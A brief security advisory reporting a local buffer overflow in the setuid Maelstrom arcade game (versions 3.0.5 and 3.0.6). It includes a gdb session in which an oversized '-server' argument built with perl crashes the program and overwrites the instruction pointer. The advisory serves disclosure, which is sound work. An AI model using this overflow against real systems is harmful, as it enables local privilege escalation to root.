[UNIX] Maelstrom Vulnerable to a Local Buffer Overflow
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Maelstrom Vulnerable to a Local Buffer Overflow
<http://www.devolution.com/~slouken/Maelstrom/> Maelstrom is an arcade
game. There is a buffer overflow vulnerability in Maelstrom which allow
local attacker arbitrary code execution. Exploitation of the vulnerability
will allow users to gain elevated privileges (as the program is setuid
* Maelstrom 3.0.6
* Maelstrom 3.0.5
[lucae@linux]$ gdb /usr/bin/Maelstrom
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This GDB was configured as "i586-mandrake-linux-gnu"...
(gdb) set args -server 2@`perl -e 'print "ABCD" x 9999'`
Starting program: /usr/bin/Maelstrom -server 2@`perl -e 'print "ABCD" x
Couldn't resolve host name for ABCDABC......ABCD
Program received signal SIGSEGV, Segmentation fault.
0x41444342 in ?? ()
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